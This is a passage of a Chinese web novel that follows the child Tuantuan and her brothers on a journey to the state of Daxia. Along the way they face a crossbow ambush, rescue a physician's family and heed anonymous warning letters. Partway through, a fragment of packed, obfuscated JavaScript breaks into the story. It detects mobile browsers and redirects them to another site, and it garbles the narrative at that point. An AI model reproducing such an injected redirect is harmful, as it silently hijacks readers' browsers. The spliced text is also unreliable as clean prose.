萧宁珣道:“母亲不必担忧,那大夏国师越是如此逼迫团团去,团团便越不能去。”
萧宁远点头:“三弟所言极是,祭天求雨时团团让公孙止当众出丑,搞不好他们此举就是想以其人之道还治其人之身,否则,搞什么显圣大典!”
萧元珩望着手中的信,沉默不语。
团团走到他的面前:“爹爹!他想让我去,我就去看看好了。”
萧宁珣急道:“团团!不能去啊!这摆明了就是圈套!”
萧元珩把女儿抱到怀里,看了看妻子和儿子:“那大夏国师,确实有几分本事,上次求雨,他人未到京城,却能将团团困在梦中,他信中所说,降下瘟疫,想必并非虚言。”
“若到时当真生灵涂炭,他们自会再次散播消息,说烈国仙使早已得知,却视而不见。到时团团该如何自处?”
“这世上只有千日做贼,岂有千日防贼的?”
他看着女儿:“团团,你当真想去?”
团团想了想,甜甜一笑:“嗯!爹爹你放心吧!他伤不了我的!既然他一定要我去,我就去呗!我还没去过大夏呢!正好可以去玩玩啦!”
萧元珩沉思半晌:“好!那就去一趟!让你二哥和三哥,还有萧二,与你同去!”
团团想起萧泽:“还有大三哥!上次我们一起去圣医谷,大三哥可厉害呢!”
萧元珩勉强笑了一下:“好!明日我便去面圣,向陛下禀明此事,让七殿下也去!”
次日,萧杰昀看到信,气得眉毛都竖起来了:“欺人太甚!”
萧元珩将自己的顾虑禀明,并告知团团自己也想去,但想请七殿下同行,萧杰昀准了。
王府里,程如安愁眉深锁地看着满地乱跑着玩的团团,想到女儿马上便要身涉险境,心乱如麻。
我的小团团啊,娘亲怎么才能帮得上你呢?
你可一定要平安回来啊。
突然,她猛地站了起来:“团团!快!跟娘亲去一趟国师府!”
二人来到国师府,程如安将事情的来龙去脉,连同那第一封信,都一五一十地讲了一遍。
楚渊看着团团:“郡主当真要去?”
团团点了点头:“对啊!他们的气运都是偷来的,没什么可怕的!”
程如安一脸紧张急切:“国师,上次团团便是蒙您相救,此次她远行敌国,我实在放心不下,恳请国师,再次出手助她。”
“我不在乎她做不做这个仙使,只求她平安回家。”
团团走到她面前,扎进怀里:“娘亲真好!”
程如安紧紧地搂住她,眼泪忍不住滑落面颊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622134|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>楚渊看着她们母女:“众人皆知我名唤楚渊,郡主,你可知贫道的俗家姓名?”
团团摇了摇头:“不知道!”
程如安惊讶地看向他,国师的俗家姓名?这是……什么意思?
楚渊微微一笑:“那你记住啊,贫道名唤林川。”
团团点头:“记住啦!”
楚渊自袖中取出一物,递到团团面前。
并非什么光华璀璨的宝物,而是一小捆用五种颜色的丝线缠绕而成、状如桃核的线团,平平无奇。
“那大夏国师最擅长的,便是以人心之欲念,编织无形牢笼,迷人五感,乱人心智。”
“此物虽无法增益你的福缘,也无法主动克敌。”
他将线团轻轻放入团团的小手中:“但若你身陷混沌,无法勘破的时候,便握紧它。它可为你点破那最精巧的虚妄,让你得见真相。”
团团将线团拿在手里翻来覆去地看了看,小心翼翼地收进了荷包:“我会用啦!谢谢国师!”
程如安千恩万谢,带着团团回到了王府。
三日后。
一辆四驾马车静静停在宁王府门口。
萧二一身劲装,手握缰绳,稳坐于车上。
程如安为团团紧了紧身上披风的小带子,眼圈微红,强忍着不舍,一遍遍叮嘱:“团团,路上一定要小心,听哥哥们的话啊。”
团团用力点头,小脸上满是兴奋:“知道啦!娘亲!”
萧元珩拍了拍萧宁辰的肩膀:“辰儿,此行的安危,为父便交给你了。”
萧宁辰回道:“父亲请放心,有孩儿在,绝不会让团团有任何闪失。”
萧元珩点了点头,看向萧宁珣:“珣儿,你心思缜密,一路上,要多替你二哥分担。”
“是,父亲。”
他最后看向萧泽:“七殿下,有劳了。”
萧泽拱手道:“请宽心,我们都会毫发无损地回来!”
萧元珩亲手将团团抱进马车:“起程吧。”
萧泽和萧宁珣随后钻了进去,萧二在前,萧宁辰骑马断后。
萧二一抖缰绳,低喝声道:“驾!”
四匹骏马同时迈步,沉重的车轮缓缓转动,驶向城门。
十名侍卫同时翻身上马,动作整齐划一,分成两列,将马车牢牢护在中央。
萧元珩牵起妻子的手,与她一同望着马车渐行渐远,直至消失不见。
第180章 你怎么变成女孩子了
一路上,团团吃吃喝喝,童言童语,让几个忧心忡忡的大人渐渐放下了紧张。
她香喷喷地嚼着娘亲给带的核桃:“大夏很远吗?”
萧宁珣回道:“跟西卢差不多,以咱们这个行程,赶到估计要两个多月了。”
团团想起了姬峰所说的西卢:“啊,那跟西卢差不多嘛!”
萧泽轻轻弹了一下她的小脑门:“所以咱们要快些赶路,尽量少停下才行啊!你呢,就别总惦记着下去玩了。”
萧宁珣瞪了他一眼,居然敢弹我妹妹脑门!我都没舍得弹过!
萧泽微微一笑:“团团,还有梅子干吗?我想吃。”
团团赶忙翻出一个包裹,打开找出一个小纸包递给他:“有呀!”
萧泽接过来,拿出一块,放进嘴里:“真好吃!团团给的,就是不一样!”
萧宁珣闷闷地道:“妹妹,我想吃肉脯。”
团团像只小豚鼠一样,又翻出一个包裹,找出放肉脯的小包塞到他手里:“三哥哥也有!”
萧宁珣笑了:“我的妹妹就是好!”
萧二听着马车里的对话,笑着摇头,唉,谁让自家小姐这么好呢,都喜欢她围着自己转。
这一日,马车来到了一处峡谷的入口。
峡谷幽深,两侧有缓坡,也有峭壁,一线天光渗进,谷内四处都是阴影。
马车驶入逼仄的甬道,车轮碾过碎石的声音在峡谷中回响。
“停!”萧二勒住缰绳。
“怎么回事?”萧宁辰策马上前。
只见前方路上,被几辆载满草料的破旧货车堵得严严实实。
草料堆得很高,看不到车上的人。
“喂!前面的!车坏了?”萧二高喊。
话音未落
“咻!咻!咻!”
破空声骤然从两侧响起!
不是零星的箭矢,而是密集的弩箭攒射!顷刻间覆盖了整个车队。
萧宁辰一声怒吼:“结阵!”
“铿!铿!铿!”
护卫们边拔刀格挡,边迅速靠拢,将马车护在中间!
箭矢如雨点般落下,不停地钉入车壁和地面!
萧宁辰大喊一声:“待在车里别出来!护好团团!”
萧宁珣把团团一把抱进怀里,俯身将她遮得严严:“别动!”
“嗯。”团团乖巧地趴在座位上,一动不动。
萧泽拔出匕首,从车窗的缝隙向外张望。
数道黑色身影如鬼魅般从两侧的岩石后冲出来扑杀而下!
他们并没有贸然靠近,而是掌握着距离,依靠手中弩箭,集中攻击护卫中央的马车。
“保护郡主!”
“殿下小心!”
萧宁辰见状摘弓搭箭,向着黑影不停射去,箭无虚发,不停有黑影倒了下来。
剩下的几个黑衣人收起弩箭,拔刀冲了上来。
他们目标明确,直插护卫们的阵型中心,攻向马车。
“稳住!”萧二咆哮着挥刀迎上。
铛!
一声巨响,萧二的腰刀与一名黑衣人的兵刃狠狠撞在一起,火星四溅!
那黑衣人手臂剧震,却半步不退,反手一刀抹向萧二脖颈,招式狠辣简洁,全是战场上搏命的打法。
萧宁辰弃弓拔刀,挡在马车最前方。
刀光闪烁,双方混战在一起
兵刃撞击声、怒吼声、哀嚎声震耳欲聋。
黑衣人久攻不下,渐渐落了下风,一人大喊:“撤!”
所有残存的黑衣人,刹那间掉头四散奔逃。
萧宁珣起身摩挲了一遍团团的小胳膊小腿:“没事儿啊,别怕。”
团团坐直了身子:“嗯嗯!我没事儿,二哥哥他们呢?”
萧泽收起匕首:“他们都没事儿,放心吧。”
萧宁辰回手拔下一支插入车辕得弩箭,通体乌黑,箭镞三棱,造型奇特。
他脸色铁青:“九星连弩?!”
萧二震惊了:“九星连弩连军中都尚未配备,怎会在此地出现?”
萧宁辰沉声道:“九星连弩乃国之重器,竟然用在了这见不得光的地方!”
他猛地抬头:“挪开障碍,以最快的速度离开峡谷!”
“是!”
十名护卫伤了六个,但好在都不是致命伤,一齐下马将前方挡路的马车赶开,车队迅速通过了峡谷。
萧宁辰将那支九星连弩的特制箭矢放入囊中。
萧二问道:“二少爷,要查吗?”
萧宁辰摇了摇头:“咱们此行是为了护送团团,一会儿到了歇脚的地方,先给有伤的兄弟们疗伤。”
“留下两个伤口深的,回京城报信养伤,咱们继续赶路。”
团团小脸煞白,看着两个三哥哥严肃的面容:“那个连弩不是私物坊的东西吗?有坏蛋把私物坊的东西偷出来了?”
萧宁珣摸了摸她的小脑袋:“马车中只有咱们三个,他们如此拼命搏杀,不知道目标究竟是你还是七殿下。”
“若是冲着七殿下来的,那可是谋害皇子的大罪,要诛九族的。”
团团惊讶地看向萧泽:“大三哥,你好值钱哦!”
萧泽忍不住翻了个白眼。
萧宁珣笑了,话题一转:“这九星连弩本应是关键时刻拿出来决定胜败的利器,如今却在此处出现,实在令人费解。”
“我在想,是成品被偷出来了,还是连同图纸一起?”
萧泽哼了一声:“若只是成品被偷,倒也罢了。”
“若是连同图纸一起,麻烦可就大了。”
“一直以来,盐铁都是朝廷专控,他们又从何而来?在何处冶炼,何处制造?数量多少?此事父皇若是得知,定是要龙颜震怒。”
他看向团团:“不过呢,这些都没有团团去大夏重要,所以,听你二哥的,咱们继续赶路,让侍卫回京去报信,一切全听父皇处置。”
“嗯,”团团点头,“好!咱们听二哥哥的!”
天色渐晚,马车驶入了一座叫做嘉木城的小城,寻了一家干净的客栈住了下来。
“终于下车啦!”一下马车,团团便一声欢呼,撒了欢地跑了起来,萧二急忙跟了上去。
客栈门口,是小城里唯一一条颇为热闹的街道。
街边店铺林立,许多摊贩都在临街叫卖:“刚出锅的包子诶!”
“烤肉!香喷喷的烤肉!“
团团只觉得眼睛都快不够用了,抽了抽小鼻子,扯着萧二的衣角:“二叔叔,好香呀!”
萧二领着她向卖烤肉的摊子走去。
突然,一个看着约莫六七岁的女孩子跑了出来,速度飞快,几乎就要撞到团团,萧二将团团往身边一拉,一只大手抓住了那女孩的衣领:“小心些!”
女孩被她拽住,抬起头,脸上脏兮兮的,不停挣扎:“放开我!你放开我!”
咦,这声音怎么听起来这么耳熟呢,团团凑近了仔细看她,都快贴到她脸上了。
“你不是圣医谷的那个,那个薛什么吗?你怎么变成女孩子了?”
第181章 借你腰牌一用
萧二盯着女孩的脸仔细分辨,还真是圣医谷谷主的那个儿子:“你怎么在这里?你爹呢?”
薛枝佑抬头看了一眼萧二,又看了一眼团团,也认出来了:“是你们?快,快跟我去救我爹!”
他转身就想带路,却顿住了,左看看,右看看,前方就是分岔口,自己只顾着逃命,一路狂奔,从哪里来的,完全分不出来,哇地一声哭了出来。
团团走到他面前:“你别哭啊,先跟我们回客栈,我哥哥们都在那里,他们会帮你的。”
买了一大堆烤肉和包子,萧二领着两小只回到客栈。
跟掌柜要了一身干净的男童衣裳给薛枝佑换上,又洗去了脸上的污迹,露出了一张苍白却五官清秀的小脸。
他吃饱了肚子,捧着一杯热水,小小的一只乖乖地端坐着,在一屋子人的注视下,有些微微发抖。
团团坐在他旁边,两只小胳膊支在桌上,歪着小脑袋托着腮:“你们怎么来这里了?这里离圣医谷好远呢。”
薛枝佑轻声道:“上次你们走后,爹爹用你留给我的灵草,制了个红色的药丸。我吃了之后,身子好多了,已经能跟着爹爹一起出远门了。”
他顿了顿,声音低了下去:“我知道,爹爹嘴上说是出来办药,其实就是,不知从哪里,听到了娘亲的消息,想出来找她。”
团团眨了眨眼:“然后呢?你们找到她啦?”
“找到了啊!”薛枝佑的眼睛亮了一瞬,但随即又暗淡下去,“前几日我们刚到这里,就在大街上看到了娘亲!爹爹冲上去大喊她的名字。”
“可是娘亲她明明看到了,却不理我们!还非说我们认错人了。”
薛枝佑的眼泪掉了下来,“爹爹急了,上去拉住她,说:‘我知道是你!谢谢你给佑儿的九转赤纹再生丹,他的身子如今已经无碍了。’”
说到这里,薛枝佑瘦小的身体一颤,满脸都是恐惧:“然后,突然从旁边冲出来好多人!他们好凶!捂着我们的嘴巴,把我们和娘亲一起抓走了!”
“他们把我们关在一个又黑又冷的屋子里。“
“还给爹爹吃了什么东西,爹爹不肯吃,被打了好几下。
萧宁珣问道:“知道吃的是什么吗?”
薛枝佑摇了摇头:“不知道,但爹爹吃完后,就浑身软软的,没有力气了。”
萧二道:“应该是软筋散一类的东西。”
团团追问道:“那你怎么逃出来的啊?”
薛枝佑眼泪大滴大滴地砸落,抽噎着道:“是娘亲突然来了啊!”
“她给我换上了那身女孩子的衣服,从一个小门里把我送到了大街上。”
“她说,“他学着纪婉润的语调:“‘佑儿,听着,往城门方向跑,一直跑,千万别回来找我们!’”
“然后,她就回去了,呜呜呜,也不知道娘亲现在好不好,爹爹怎么样了。”
团团拍了拍他的肩膀:“你别怕!我这几个哥哥可厉害了!还有二叔叔!一定能把他们救出来!”
萧宁珣想了想:“你从哪个方向跑出来的,从出来到看见我们,大概用了多久?”
薛枝佑一脸茫然:“我不敢回头啊,不记得是从哪里跑出来的。用了多久,我也不知道啊。”
“我、我只记得,刚跑出来不久,路边有一只小黄狗,站在那里看着我。”
萧宁珣立刻追问:“哪个店铺门口?有什么标志?”
薛枝佑摇了摇头:“没看到店铺,它就在路边站着而已。”
众人闻言,皆是相顾无言,一阵无力感袭来。
这线索,未免也太渺茫了。
唯有团团,眼睛“唰”地一下就亮了,满脸兴奋:“太好了!走啊,咱们这就去找那只小黄狗!”
她蹦起来,翻出自己的小披风踮着脚披在薛枝佑身上,又找到一顶软帽扣在他头上,上上下下看了一眼:“不错,这样,抓走你的坏蛋就认不出来啦!”
她小手一挥:“走啊!咱们一起!去找那只小黄狗!”
大人们先是一愣,当真?
但见她已经拉起薛枝佑便兴冲冲地往外走,也只好无奈地跟了上去。
萧二低声问萧宁珣:“三少爷,这能找到吗?”
萧宁珣笑了笑:“无妨,就当饭后消食了,既然团团想试试,便由着她吧。”
萧宁辰走在后面,无奈地摇了摇头,胡闹!
但终究没出声阻止,只是目光警惕地扫视着周围。
萧泽却觉得颇为有趣,嘴角含着一丝玩味的笑意,悠闲地跟在最后。
此时街上比起白日的喧嚣已经安静了许多,行人稀少。
走了几步后,来到一个三岔路口,面前有向前、向左、向右三条路。
“咱们先往哪边找啊?”薛枝佑小声问团团。
团团站在路口,大眼睛在三条路口处扫视了一圈,抬起小手,随手一指右边:“就这条吧!”
走了大约一炷香的功夫,又拐过了两个弯,道路逐渐幽深。
路边竟然真的出现了一个小小的身影。
团团眼睛一亮,指着前方:“是不是那只?”
薛枝佑顺着她指的方向仔细看去,只见一只土黄色的小狗正蹲坐在路边,安静地望着他们。
他高兴地跳了起来:“是啊!就是这只!你看!它白天就一直这样坐着!我没有记错!”
大人们面面相觑,狗是会跑的啊!
这啥狗啊,怎会就这样,跟路标似的杵着等着人来寻吗?
这就找到了?不会吧!这也太儿戏了!
萧二快步上前,目光越过小黄狗,看向它的身后,那是一条更为幽深、僻静的小巷。
巷子深处,隐约可见一扇紧闭的黑色小门。
萧二与萧宁辰对视一眼,无需多言,两人身形一动,萧二上房,萧宁辰翻墙,如同两道轻烟,悄无声息地融入了小巷两侧的阴影之中。
萧宁珣留在原地没动,看了看那只小黄狗,又看了看一脸“我就说能找到吧”的妹妹,有种哭笑不得的感觉。
他轻轻摸了摸妹妹的头,低声道:“团团,你真是总能给三哥哥惊喜。”
片刻之后,二人回转:“正是此地!前后两道门,皆有人看守,绝不是普通民宅。”
萧宁珣看向萧泽:“七殿下,借你腰牌一用。”
第182章 我圣医谷,接着便是
当七皇子的令牌,出现在嘉木城的府衙内时。
不到一盏茶的功夫,本地刺史与驻军校尉便连滚带爬地赶了过来:“不知七殿下驾到,有失远迎,请殿下恕罪。”
萧泽将城内有歹人,禁锢无辜百姓的事情讲了一遍。
两个官员听完顿时面无人色,汗出如浆,竟有此事?我们怎么不知道?完了,如今七殿下都知道了,那陛下……
萧泽看着他们:“不必担心,只要二位将此事办得妥妥贴贴,我自不会在父皇面前多言。”
两人急忙行礼:“多谢殿下!”
萧泽脸色一正:“即刻将那宅子给我围了!所有人,由宁王二子萧宁辰,统领调动!”
“是!”
片刻之后,大队官兵手持火把,甲胄鲜明,无声而迅速地将那条幽深小巷围得水泄不通。
“破门!”萧宁辰一声令下。
黑色院门在撞击下轰然洞开。
官兵们如狼似虎地冲进院中,眨眼之间,便将院里的人全部按倒在地。
萧二直扑内院,四处搜寻,很快便在一个位于半地下的牢房中,找到了虚弱不堪,靠坐在墙角的薛晋。
萧二将他一把架起,扶到了院子里。
“爹爹!”薛枝佑哭着扑了上去。
薛晋摸了摸儿子的小脸:“乖,爹爹没事。”
“见到你娘亲没有?”
薛枝佑摇了摇头,薛晋再也支撑不住,倒了下来。
“爹爹!”薛枝佑大声惊呼。
萧泽道:“来人!将他们二人送回客栈!”
“是!”
团团背着小手,大摇大摆地四处溜达,走到了书房。
这个东西不错!她蹲在地上,捡起了什么,满意地放进了腰间的绣囊。
咦,这里为何缺了一块?
墙角的砖缝处,缺了一块,极不显眼,若不是她蹲下来捡东西,都不可能看到。
团团仔细端详,缺口处右侧有个地方看起来异常光滑,她伸出小手摸了上去。
平的!没什么稀奇,可是,谁会没事儿蹲着摸这个地方呢?
她四处摸索,没有丝毫异常。
直到她用力一推,自己面前这墙没动静,对面的那面墙却发出了一阵轻微的“咔咔”声,缓缓向一侧移开,露出了后面一个黑黢黢的洞口!
“哇!”团团兴奋地大喊:”哥哥们!二叔叔!快来看啊!这里有个洞洞!”
众人闻声赶来,萧二举着火把走在最前,其他人也跟了进去。
密室内空间不大,里面放着一张桌案,一把椅子,桌上整齐地摆放着大小一样的琉璃瓶子。
数十个瓶子排列整齐,覆盖了整个桌面。
瓶身透明,一眼便能看到,里面养的竟然都是蛊虫!
那蛊虫,通体黑褐色,细长如线。
团团惊讶地喊了一声:“这不是,爹爹手里的那个虫子吗?”
萧宁珣和萧宁辰对视了一眼,当日他俩一起协助郭太医将父亲体内的蛊虫弄了出来,自然也是记得清清楚楚。
无数蛊虫在瓶子里扭曲着,整整一桌子,看得人毛骨悚然。
萧二皱眉:“这什么门派,如此邪门!”
萧泽下令:“所有人犯,全部押入大牢!待审讯后再依律法定罪!”
“是!”
次日,薛枝佑找到团团:“团团,你能不能,让我们去看看我娘亲?爹爹听说她也被关进了大牢,闷闷不乐的。”
团团拉着他:“我不行,走,咱们去问大三哥!”
萧泽看着薛枝佑,圣医谷的一切浮上心头,真是一段虐缘啊!
“去吧,不过,让萧二与你们同去。”
“好的,多谢七殿下。”薛枝佑给萧泽规规矩矩地行了礼,掉头跑回去找父亲。
“我也去!”团团颠颠儿找到萧二,四人一起走进了大牢。
几人在狱卒的陪同下,来到了最里间的一间独立牢房的门前。
狱卒将牢门打开,薛家父子走了进去。
萧二抱着团团往后退了几步,让他们安心说话。
纪婉润一身素衣,坐在地上的干草堆中。
“娘亲!”薛枝佑心疼地扑了过去,“你饿不饿?咱们一起回家吧!你以前住的院子,爹爹让人每日都去打扫,可干净呢。”
纪婉润心里一动,抬头看了一眼薛晋,如同自己以前每日做的一样,将薛枝佑搂在怀里,为他摩挲着后背。
牢内一片寂静。
过了许久,薛晋才艰难地开了口:“婉润,你可愿随我回圣医谷?”
纪婉润唇角勾起一抹无奈和自嘲:“薛晋,你还是这般天真。”
“今日咱们便明说了吧,我是黑医门的弟子,自幼蒙师尊抚养长大,授以医术,恩重如山。师门之命,便是我的宿命。”
“自幼我所学的便是‘人皆为己,毒可克医’的道理。”
“圣医谷那套‘悬壶济世、医者仁心’的道理,在我们看来,不过是迂腐可笑的空谈。”
“你们提倡光明正大,我们游走于阴影之下,你们治病救人,我们掌控生死,一切只为自己所需,注定势不两立。”
“你我之间,从一开始便是错的,又何必继续?到此为止吧。”
薛晋望着她,声音愈加柔和:“既然师门重于一切,那你告诉我,你为何还要冒着风险,偷偷救出佑儿?”
纪婉润的嘴唇动了动。
薛晋继续追问:“你又为何,要将那枚可以重塑根基、举世难寻的九转赤纹再生丹留给佑儿?”
“我!”纪婉润刚想辩解,薛晋却打断了她。
“纪婉润!”
“你看着我的眼睛告诉我!这一切,难道也是你师门交给你的任务吗?”
纪婉润浑身一颤,眼圈蓦地红了,泪水冲出了眼眶。
薛枝佑急忙抬起小手给她擦拭眼泪:“娘亲,不哭啊,跟佑儿回家吧。”
纪婉润的眼泪更多了。
她想起自己初入谷时“体弱多病”,是薛晋不眠不休,亲手煎药,小心翼翼喂自己喝下。
想起她不过是随口提了句“谷中的月色极好”,薛晋便默默记下,在她“病愈”后,带她去最美的花丛中,一起仰望星空。
她又低头看向薛枝佑,从第一日见到自己,这孩子便软软地说的第一句话,娘亲,你真好看。
那些细碎温馨的小事,如同涓涓细流,早已在不知不觉中,浸润了她的心。
黑医门规矩森严,师尊不苟言笑,同门之间只有竞争而无半点温情,都恨不得将对方踩在脚下。
那三年这父子俩给予自己的信任和依赖,让自幼孤苦的她,平生第一次感受到了安宁与满足。
薛晋眼中翻涌着心痛和了然:“婉润,别再自欺欺人了。回家吧。圣医谷,才是你的家。”
“无论你曾经是谁,师承何处。我只知道,我,你,和佑儿,咱们才是一家人,这就够了。”
薛枝佑抱住纪婉润的脖子泪汪汪地看着她:“娘亲,回家吧,佑儿想你。”
纪婉润抬起头,看向薛晋。
“至于你的师门,”薛晋的声音沉稳,“若再纠缠不休,我圣医谷,接着便是!”
纪婉润浑身一震,终于,点了点头。
团团拍着小手:“薛枝佑!你娘亲她同意啦!”
萧二见状微微一笑,吩咐狱卒:“这个人我带走了,七殿下恩准的。”
“是!”
众人回到客栈。
萧宁辰看了她一眼:“我有一事请问,不知可否直言?”
纪婉润回道:“大人请讲。”
“那个密室是怎么回事儿?”
纪婉润脸色一变:“你们发现密室了?”
“也罢,事到如今也没有什么好隐瞒的了。”
“那并非我黑医门的东西,而是幽冥顶的手段。”
第183章 谁给我写信
“幽冥顶?”几个人互相看了一眼。
萧二摇了摇头:“从未听说。”
纪婉润继续道:“我黒医门精研毒物与续命之术,虽剑走偏锋,所求不过是能够掌控生死。”
她眉头微蹙:“但那幽冥殿,则全是杀人于无形。”
“我从未见过他们的人,师尊格外重视,有关他们的一切,师尊都是亲力亲为,从不让弟子相随。”
“那密室中的东西,便是他们存放在此处的。”
团团气得脸都红了,挥舞着小拳头:“原来是这个什么破顶,害了爹爹!”
萧二想起前事:“如此说来,那个江远的蛊毒应当便是自幽冥顶而来,而他,只不过是做了旁人手中的棋子!”
萧宁辰沉声道:“好一个幽冥顶!此仇不共戴天!”
萧宁珣缓缓开口:“待咱们从大夏归来,定要将这藏头露尾的幽冥顶,连根拔起,掀个底朝天!”
次日清晨,众人送别薛晋一家。
一辆马车静静地停在客栈门口。
薛晋冲着众人拱手:“此番大恩,我薛晋没齿难忘。日后但有所需,圣医谷上下,义不容辞!”
萧宁珣拱手还礼:“薛谷主言重了,一路保重。”
薛枝佑从车窗中探出小脑袋:“团团!来圣谷找我玩啊!”
团团挥着小手:“知道啦!快回家吧!”
薛晋钻进马车,车夫喊了一声驾,马车缓缓前行。
团团搂着萧宁辰的脖子:“二哥哥,他们一家团圆啦!真好!”
“道长爷爷说过,一家人就要团团圆圆的,所以,我才叫团团啊!”
萧宁辰微微一笑:“对啊,所以呢,咱们赶紧上路,把大夏的那个狗屁显圣大典忙完,回家!”
“嗯!”团团用力点头,深以为然。
众人回到客栈,萧泽将自己给萧杰昀的一封手书,交给两名护卫:“亲手呈于陛下,不得假手他人。”
“是!”
萧宁辰刚想开口下令出发,客栈的小二急匆匆走到房门口:“请问,哪位是团团?”
团团抬起头:“我就是啊!”
小二将手中的信件递给她:“这是刚刚一位客官,让小的交给您的。”
“我?”团团很奇怪,我字都不认识几个,谁给我写信?
萧宁珣想起大夏国师的那两封信,急忙接了过来:“多谢。”
小二转身离去。
萧宁珣仔细看了看,信封上一个字都没有,他掏出信笺,念了出来:
“邺伽城,遣人客栈订房,后换车乔装,秘密前往城西灵虚观安身。”
“信是指名给团团的,却为何不留落款?”
萧宁辰问道:“又是那个大夏国师吗?”
萧宁珣摇了摇头:“字迹不同,应当不是。”
萧泽问道:“下一个要路过的是否就是邺伽城?”
萧二点了点头:“没错。”
萧泽眉头皱起:“看来咱们这一趟,盯上的人还真不少。”
他看了看萧宁辰:“你怎么看?”
萧宁辰想了想:“上路,到了再说,兵来将挡水来土掩,到了那里,再看看又是谁在故弄玄虚!”
众人出发,一路无事,平安抵达了邺伽城。
邺伽城比嘉木城大了许多,车马络绎不绝,一派繁华景象。
街道两旁店铺林立,各色客栈的招牌争奇斗艳,往来行人衣着已颇具边城风情,与嘉木城又是另一番不同的光景。
萧二将车停在了城中最大的悦来客栈,要了几间上房,银子付得爽快,掌柜的笑脸盈盈,将他们送到了房间。
房门一关,隔绝了外间的喧嚣。
萧宁珣看向兄长,低声道:“二哥,我们是否按信中所言行事?”
萧宁辰沉吟片刻:“信中所言,更像是对咱们的警告。”
“敌暗我明,虚实难测。既然如此,我们不妨依计而行,且看这邺伽城,究竟藏着怎样的魑魅魍魉。”
众人并未立刻行动,如寻常旅客一般,在客栈稍作停留后,便悠闲地逛了逛街,寻了家最好的食肆用了饭。
待日光西斜,众人回到房中,迅速行动起来,全换上了寻常布衣。
团团穿上了男童的衣裳,摘下了身上的首饰,戴上了一顶小帽子。
她有些不习惯地扯了扯衣角,仰起小脸:“三哥哥,好看吗?”
萧宁珣俯下身,替她理了理额前的碎发,眼中满是温柔:“好看。我们团团穿什么都好看。”
团团开心地笑了。
准备停当,众人不再耽搁,分批从客栈悄然离开,汇入人流。
各自在城中绕行了片刻,确认无人尾随,在城西一处不起眼的车马行中聚齐,买了几匹马,朝着信中所指的“城西玄云观”,疾驰而去。
玄云观规模不大,中规中矩,远离闹市的喧嚣。
可喜的是观中打扫得一尘不染,松柏林立,清幽干净,是个看着很安心的所在。
萧二向观主付了香火钱,说要借宿一晚。
观主欣然同意,将他们安排到了后院的客舍。
这一夜,除了团团睡得香甜无比,其他人都保持着十二分的戒备。
全都和衣而卧,尤其萧二,几乎一夜未眠,竖着耳朵听着外面的动静。
然而,唯有山风吹过树梢的沙沙声,伴了他们整整一夜。
次日,众人起身,虽略感疲惫,但见平安无事,都心下稍安。
时至正午,一个洒扫的小道士边打扫边与他们攀谈起来:“诸位客官当真是有福之人!”
“昨日没有住在城里的客栈,而是来了我们这玄云观,真是真人保佑!”
萧宁珣心中一动,顺着话头问道:“小道长何出此言?莫非城中客栈有何不妥?”
小道士压低了声音道:“客官您还不知道吧?”
“咱们邺伽城的客栈,为了招揽生意,都是连在一起建的,方便往来客人投宿。可就在昨晚,不知怎的,一把大火全给烧了个干净!”
众人脸色一变。
小道士绘声绘色,如同亲眼所见:“那火势,嚯!烧红了半边天!一夜之间,整条街的客栈,全都烧成了白地!无量天尊,罪过罪过。”
“听说啊,这火起得又急又猛,好些个客人都没来得及逃出来,全葬身火海了!”
第184章 又来打劫吗
一百八十四章
小道士后面还絮絮叨叨地说了些什么,萧宁珣已然听不真切了。
只觉得一股寒意从脚底直窜上后背,他下意识收紧手臂,将怀中的团团搂得更紧。
小道士打扫完退了出去。
萧宁辰脸色铁青,萧二额角沁出了冷汗。
这场大火显然就是冲着他们来的。
若不是那封信,若不是他们当机立断,按照信上所说,金蝉脱壳。
还真是吉凶难料。
萧泽缓缓开口:“好大的手笔!烧了一整条街,死了那么多无辜的人,就为了置咱们于死地。”
团团撅了撅嘴:“坏蛋!大坏蛋!”
萧二问道:“二少爷,是否立刻上路?”
萧宁辰低头沉思,方才那小道士的声音又在门外响起:“团团客官,您的信!”
团团乐了:“又是给我的哦!我就是团团客官!”
萧二猛地站起,一把拉开房门,将信接了过来:“谁送来的?”
小道士茫然道:“没看到,知客师兄交给我的,说是一位脸生的香客吩咐给团团客官的。”
萧二道了声谢,掩上房门,将信递给了萧宁辰。
萧宁辰展开信笺,依旧没有落款,笔迹熟悉,同上一封一模一样,他缓缓念道:“漠风城,绕行。”
萧泽道:“这送信之人,倒是对们咱们的行踪了如指掌。”
萧宁辰不再犹豫:“传令下去,改变路线,绕开漠风城!直奔下一个,靖边府!”
此后的行程,每到即将离开时,总有一封给“团团客官”的神秘信件如期而至。
“黑水镇,莫饮井水。”
“风鸣渡,速过,勿停。”
“落霞坡,走大道。”
众人虽满腹疑云,却始终依言而行,一路平安,直达边关最后一座属于烈国的小城,苍岩关。
一行人走进信中指定的一家名为归云的客栈,柜台后的掌柜抬眼打量了他们一番,竟主动迎了上来,满脸堆笑:“请问,诸位之中,可有一位名唤团团的?”
团团从萧宁珣身后探出头,伸出小手指了指自己:“我就是呀。”
掌柜忙不迭地躬身引路:“可算等到您了!几位贵客请随我来,一位贵人早已为诸位订好了上房,还留下了东西,吩咐在下亲手交到诸位手中。”
众人跟着掌柜走上楼,推开房门,屋内陈设干净整洁,桌上放着一个青布包袱。
掌柜的退了出去。
萧二关好房门,萧宁辰打开了包袱。
只见里面是几面折叠整齐的旗子,他随手拿起一面,手腕一抖,“烈”字大旗应声展开,红底金线,另一面则整齐的绣着一排大字:烈国七皇子与仙使到访。
旗帜下方,依旧是一封信。
萧宁珣拿起信,念道:“马车已备于后院。将此旗插于车上,进入大夏。”
萧泽皱起眉头:“这是让咱们,大张旗鼓地进大夏?”
“可父皇临行时交代了,此行并非正式到访。”
众人互相看了一眼,都没明白这次的信,到底是什么意思。
唯有团团满不在乎:“这个人多好啊!每次都告诉咱们应该怎么做,是个大大的好人!那就听他的呗!”
萧宁珣微微一笑,摸了摸她的脸蛋:“我们团团呢,最简单,好人便听,坏蛋就打,当真是无忧无虑。”
团团一脸理所当然:“对啊!难道,听坏蛋的不听好人的吗?对吧?三哥哥?”
萧宁珣点点头:“团团说得对!”
